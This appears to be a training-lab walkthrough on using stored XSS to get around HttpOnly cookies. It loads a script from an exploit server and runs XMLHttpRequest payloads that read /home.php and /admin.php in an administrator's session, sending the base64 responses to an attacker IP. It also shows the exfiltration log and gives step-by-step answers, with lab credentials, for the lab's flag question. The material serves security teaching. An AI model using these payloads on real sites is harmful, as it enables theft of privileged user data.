XSS Exploitation (Introduction)
We can use cross-site scripting (XSS) exploits to make HTTP requests, retrieve their responses, and exfiltrate data to a server under our control. As such, we can write XSS payloads that make cross-origin requests and combine XSS with CSRF payloads to achieve an exploitation technique that poses a threat to the entire internal network of the victim.
Additionally, the fact that web browsers typically enforce a SameSite policy of Lax for cookies if the SameSite attribute is not explicitly set restricts the ability for CSRF exploitation significantly. Thus, combining XSS and CSRF proves to be a powerful exploitation technique.
HTTPOnly Cookie Flag
Stealing victims' session cookies is the most widely exploited technique that threat actors carry out using XSS vulnerabilities; however, this technique can be prevented by utilizing the HttpOnly attribute on the session cookie. This attribute prevents access to the cookie from JavaScript code. More specifically, if we access document.cookie, cookies with the HTTPOnly attribute set will not exist. This effectively prevents the exfiltration of the victim's session cookie. However, it does not necessarily lessen the severity of XSS vulnerabilities. Since an XSS allows us to execute arbitrary JavaScript code in the victim's browser within the vulnerable web application and in the context of the victim, we can perform the same actions as if we knew the session cookie. However, we have to write an XSS payload to do the corresponding actions for us instead of doing them manually after setting the victim's session cookie in our browser.
Exfiltrating Data with XSS
Since the payload of an XSS attack is executed in the browser and user context of the victim, it enables an attacker to access any data from the victim's point of view. As such, a low-privilege attacker can use an XSS vulnerability to obtain administrative access to the vulnerable web application if the victim has administrative privileges. We can abuse this to exfiltrate arbitrary data from the web application.
To access information within the victim's context and exfiltrate information to our exfiltration server, we can use an XMLHttpRequest object, which enables us to send HTTP requests and interact with the responses.
Our sample web application is the same guestbook application we have seen before. The same XSS vulnerability is still present. However, this time, the session cookie has the HTTPOnly flag set, preventing us from stealing it:
HTTP POST request to /index.php with user credentials; response shows 302 redirect to home.php with session cookie.
Assuming the victim is an administrator, we should enumerate the web application from their point of view to determine if any functionalities within the web application are only visible to administrators. To do so, let us access endpoints we already know from the victim's context and exfiltrate the response to our exfiltration server. To achieve this, we can make a guestbook entry containing the following XSS payload:
<script src="https://exploitserver.htb/exploit"></script>Afterward, we can use the exploitserver to write the XSS payload. We will use a simple payload that accesses the /home.php endpoint and exfiltrates the base64-encoded response to the exfiltration server:
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();Note: As mentioned before, exfiltrating an entire page in a GET parameter is bad practice due to the limited URL length. The better practice would be exfiltrating data in a POST request. Due to shorter code, most code samples in this module will use GET requests, but keep this in mind when solving the exercises and during real-world engagements.
After waiting for the victim to trigger our payload, we will receive the base64-encoded response at our exfiltration server:
kabaneridev@htb[/htb]$ python3 server.py
10.129.233.62 - - [01/Jan/2025 14:00:28] code 404, message File not found
10.129.233.62 - - [01/Jan/2025 14:00:28] "GET /exfil?r=CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KCTxoZWFkPgogCQk8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoIj4KICAJCTx0aXRsZT5HdWVzdGJvb2sgSFRNTCBCb2lsZXJwbGF0ZTwvdHRsZT4KICAJCTxzY3JpcHQgc3JjPSJhc3NldHMvanF1ZXJ5LTMuMS4xLm1pbi5qcyI+PC9zY3JpcHQ+CiAgCQk8c2NyaXB0IHNyYz0iYXNzZXRzL3NlbWFudGljLm1pbi5qcyI+PC9zY3JpcHQ+CiAgCQk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBjbGFzcz0idWkiIGhyZWY9ImFzc2V0cy9zZW1hbnRpYy5taW4uY3NzIj4KCTwvaGVhZD4KCQlCBJ5+CiAgICA8ZGl2IGNsYXNzPSJ1aSBjb250YWluZXIgbWVudSI+CgkJCTxkaXYgY2xhc3M9ImhlYWRlciBpdGVtIj4KCQkJCU15IEd1ZXN0Qm9vawoJCQk8L2Rpdj4KCQkJPGEgY2xhc3M9Iml0ZW0iIGhyZWY9ImhvbWUucGhwIj4KCQkJCUhvbWUKCQkJPC9hPgoJCQk8YSBjbGFzcz0iYWN0aXZlIGl0ZW0iIGhyZWY9InZpZXcucGhwIj4KCQkgICAgCVZpZXcgYWxsIEVudHJpZXMKCQkgIAk8L2E+CgkJCQkJCQk8YSBjbGFzcz0iYWN0aXZlIGl0ZW0iIGhyZWY9ImFkbWluLnBocCI+CgkJICAgIAkJQWRtaW5pc3RyYXRvciBEYXNoYm9hcmQKCQkgIAkJPC9hPgogICAgICAgICAgICAJCQk8YSBjbGFzcz0iYWN0aXZlIGl0ZW0iIGhyZWY9ImxvZ291dC5waHAiPgoJCSAgICAJTG9nb3V0CgkJICAJPC9hPgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9InVpIHJhaXNlZCB2ZXJ5IHBhZGRlZCBjb250YWluZXIgc2VnbWVudCI+CgkJCTxkaXYgY2xhc3M9InVpIGNlbnRlcmVkIGdyaWQiPgoJCQkgICAgPGRpdiBjbGFzcz0iZWlnaHQgd2lkZSBjZW50ZXIgYWxpZ25lZCBjb2x1bW4iPgoJCQkgICAgCTxpbWcgc3JjPSJhc3NldHMvYWNlLnBuZyIgd2lkdGg9IjUwcHg7aGVpZ2h0OmF1dG87Ij4KCQkJICAgIAk8aDEgc3R5bGU9Im1hcmdpbi1ib3R0b206IDAiPldyaXRlIGFuIEVudHJ5IHRvIHRoZSBHdWVzdGJvb2s8L2gxPgogICAgICAgICAgICAgICAgICAgIAoJCQkgICAgCTxmb3JtIGNsYXNzPSJ1aSBmb3JtIGxlZnQgYWxpZ25lZCBzaXggY29sdW1uIHNlZ21lbnQiIGFjdGlvbj0iL2hvbWUucGhwIiBtZXRob2Q9InBvc3QiIG5hbWU9ImZvcm0iIGlkPSJmb3JtIj4KICAgICAgICAgICAgICAgICAgICAJCQkgICAgCSAgPGRpdiBjbGFzcz0iZmllbGQiPgoJCQkgICAgCSAgICAgIDxsYWJlbD5Db21tZW50PC9sYWJlbD4KCQkJICAgIAkgICAgICA8dGV4dGFyZWEgbmFtZT0iY29tbWVudCIgaWQ9ImNvbW1lbnQiPjwvdGV4dGFhcmVhPgogCQkJICAgIAkgICA8L2Rpdj4KCQkJICAgIAkgIDxidXR0b24gY2xhc3M9InVpIHN1Ym1pdCBidXR0b24iIHR5cGU9InN1Ym1pdCI+U3VibWl0PC9idXR0b24+CgkJCSAgICAJPC9mb3JtPgoJCQkgICAgPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoJPC9ib2R5PgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCSQoJy51aS5jaGVja2JveCcpCgkJICAuY2hlY2JveCgpCgkJOw==' +
'CgkJJCQoJy5tZXNzYWdlIC5jbG9zZScpCgkJICAub25oKCdjbGljaicsIGZ1bmN0aW9uKCkgewoJCSAgICAkKHRoaXMpCgkJICAgICAgLmNsb3Nlc3QoJy5tZXNzYWdlJykKCQkgICAgICAudHJhbnNpdGlvbignZmFkZScpCgkJICAgIDsKCQkgIH0pCgkJOwoJCSQoJy51aS5mb3JtJykKCQkgIC5mb3JtKHsKCQkgICAgZmllbGRzOiB7CgkJICAgICAgZnVsbG5hbWUgOiAnZW1wdHknLAoJCSAgICAgIGVtYWlsICAgOiAnZW1haWwnLAoJCSAgICAgIGNvbW1lbnQgIDogJ2VtcHR5JywKCQkgICAgICB0ZXJtcyAgICA6ICdjaGVja2VkJwoJCSAgICB9CgkJICB9KQoJCTsKCTwvc2NyaXB0Pgo8L2h0bWw+ HTTP/1.1" 404 -After decoding the response, we can analyze it to see if there are any differences to what our low-privilege user can access at the /home.php endpoint. We can identify that there is a reference to the admin dashboard at /admin.php in the navigation part of the response, which is not there in our user's context:
HTML navigation menu with links to Home, View all Entries, Administrator Dashboard, and Logout.
Let us exfiltrate the administrator dashboard, including any potentially sensitive data displayed there, by adjusting the payload on the exploit server to exfiltrate the /admin.php endpoint instead:
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', false);
xhr.withCredentials = true;
xhr.send();
var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();We do not post a new entry to the guestbook since the admin visits the guestbook periodically and triggers our XSS payload each time. Since this triggers the payload code to be loaded from the exploit server, changing the exploit code there is sufficient. This enables us to exfiltrate the entire admin dashboard, including all information accessible by the administrator:
HTML section titled 'Administrator Dashboard' with a paragraph stating 'This is top secret admin information!'
XSS Exploitation Questions
Question 1: Exploit the XSS vulnerability to exfiltrate data the victim can access and find the flag.
Add the necessary vHosts to your
/etc/hostsfile:sudo sh -c 'echo "10.129.233.62 exploitserver.htb xssintro.htb" >> /etc/hosts'Navigate to
https://xssintro.htb, logging in with the credentialshtb-stdnt:Academy_student!.Post a guestbook entry containing the XSS payload that loads a script from the exploit server (e.g.,
<script src="https://exploitserver.htb/exploit"></script>).On the exploit server (
https://exploitserver.htb), create an XSS payload that performs the following actions:Makes an authenticated GET request to
/home.php.Exfiltrates the base64-encoded response to your HTTPS exfiltration server (e.g.,
https://YOUR_IP:YOUR_PORT/exfil?r=+btoa(xhr.responseText)).
Start your HTTPS exfiltration server (as described in the lab environment section).
After a few moments, the victim's browser will trigger the exploit. Decode the exfiltrated response to find references to the
/admin.phpendpoint.Update the XSS payload on the exploit server to make an authenticated GET request to
/admin.phpand exfiltrate the base64-encoded response.After the victim triggers the updated payload, decode the exfiltrated response to reveal the top-secret admin information, including the flag.
Last updated